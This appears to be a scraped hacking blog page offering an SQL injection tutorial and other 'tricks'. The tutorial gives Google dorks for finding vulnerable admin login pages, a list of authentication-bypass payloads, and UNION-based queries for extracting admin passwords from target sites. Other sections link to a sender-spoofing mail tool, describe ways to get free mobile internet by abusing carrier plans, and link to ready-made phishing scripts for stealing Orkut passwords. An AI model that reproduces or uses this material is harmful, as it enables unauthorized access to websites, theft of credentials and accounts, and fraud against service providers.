--- Krazy Net Rulers ---

Yes it is now possible to have a great fun by sending mail from any id to any id.
Let's have a great fun

Check dis site:- http://sayantanhalder.0fees.net/fakemail/

Q what is sql injection?

A injecting sql queries into another database or using queries to get auth bypass as an admin.

part 1 : Basic sql injection

Gaining auth bypass on an admin account.
Most sites vulnerable to this are .asp
First we need 2 find a site, start by opening google.
Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection.
here is the best:
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

Now what to do once we get to our site.
the site should look something like this :

welcome to xxxxxxxxxx administrator panel
username :
password :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sql injections

' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'


there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the fuck out of the database till it gives you auth bypass.

So your input should look like this

username:Admin
password:'or'1'='1

So click submit and you'r in
NOTE not all sites are vulnerable.


part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :
http://www.xxxxx.com/index.php?catid=1
there is a list of dork 4 sites lyk this

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
or the best in my view "full credit to qabandi for discovering this"
"inurl:".php?catid=" site:xxx"


So once you have you'r site
http://www.xxxx.com/index.php?catid=1
now we add a ' to the end of the url
so the site is
http://www.xxxx.com/index.php?catid=1'
if there is an error of some sort then it is vulnerable
now we need to find the number of columns in the sql database
so we type
http://www.xxxx.com/index.php?catid=1 order by 1-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"
http://www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5
on some databases there is 2 columns and on some 200 it varies
so once we have the column number.
we try the union function
http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db
so now we need to info about the db
so lets say the numbers 2 and 4 showed up on the screen
so i will use my query on 2
http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen
if the db version is 4 or lower then to extract the password you will need these queries
http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
but if not then you will have to guess the table
so once you have your table "or not"
then type
http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
then once u have the right table name you should get the administrator password
then just do the same thing but type username instead of password
sometimes the password is hashed and you need to crack it.
then see if you can get the admin panel if you cant then try the admin panel finder script herehttp://www.darkc0de.com/c0de/perl/admin_1.2_.txt
now if the database is version 5 or up
type
http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
and that will display a list of all the tables
once you have your table name
type the same thing as 4
http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username
but now if it doesnt work far all those things
just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those
but sometimes we also need to use the version() or version@@
so sometimes UNION SELECT version (),password,3,4 FROM admintable--
or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.
you can contact me on
sidthesloth@windowslive.com
only msn me NO EMAILS I HATE THEM

---

(\__/)
(='.'=) This is Mopsy. Copy and paste bunny
(")_(") to help him gain world domination.

NOP,Net On Phone is a almost famous for using internet in mobile cheaply.But now you need not to spend a paise for this service.Yes!It's working 100% and tested in few state...Usually I tested it KOLKATA and W.B.

Airtel launched a special scheme of this 7 days free trial.

The fault is that after 7 days if you wanna to activate again it will be activated and enjoy the free Internet. Process of activation is by dialing *555*3# after that you will be got a message as "Now you can enjoy internet" .Now you need to set up settings,you may can get it by calling CC or manual set up.. Here is the manual settings..

APN:-airtelwap.com

Proxy:-100.1.200.99

Port:-8080

And else other spaces set defaults

First of all Buy a normal 2g bsnl's sim card and keep balance 50+ rs.

now activate gprs by sending sms GPRS E to 53733 It will be

actrivated in 24 hours, after activation get gprs settings by calling c.care

APN:-gprseast.cellone.in or bsnlnet

Now do e-recharge with 230 rs (or whatever unlimited plan exists in your area)

in it, After activation You have to chnage only one thing in yor 3G enabled cell.

Go to settings>tools>settings>phone&g
t;network>network mode> now select UMTS

THEN do manual searching for network u will fing bsnl 3g network there wid small 3g logo along wid its name,select it as default

Now see your data singnals logo..... vola it is converted into 3G

You will get near about 500kbps to 1200 kbps speed

Remember use gprseast.cellone.in or bsnlnet as ur access point

but its 100% working

Enjoy 3G at appr. no cost.....

Here IS the SPEED Proove :-

May this question roaming on your mind “why I’m sharing personal secrets here and why I’m post some cyber cryme offense like how to hack accounts?”. I do so just for money!! Yes now you think of I am just 16 years old and what I do with money!.I waana to make a icon of this computer generation like billgrades.So I need a huge number of money to start higher study so I make this bloh and many more website.I have now still no money so I cannot make any domain names.So please help me by clicking on advertisements and make a donation..A kind request from your brother..
Let’s come to the main part. I got many mails and many feedbacks after posting two story of my life. First many thanks of them who are read my blog and mail me .Many mailers want to know how to hack an Orkut accounts .I know some method to steal the password .Note I know ‘stealing’ method .That mean you need to steel them’s password by intelligency and getting a chance of his careless movements. Let us talk about the method , there have many method to steal passwords…Phising method is more easy and more successfully method but phising method is known to 70% of users who using internet scince 3 months .So be carefull about it.For beginner users I will post next for details about it and now I’m giving readymade scripts of phising for hacking……
Download it:- http://www.ziddu.com/download/5874400/hackorkut.zip.html
Note:-Instruction file also included……… For any proplems or help you may mail me on cutesayantan@gmail.com or leave comments here… You are almost welcome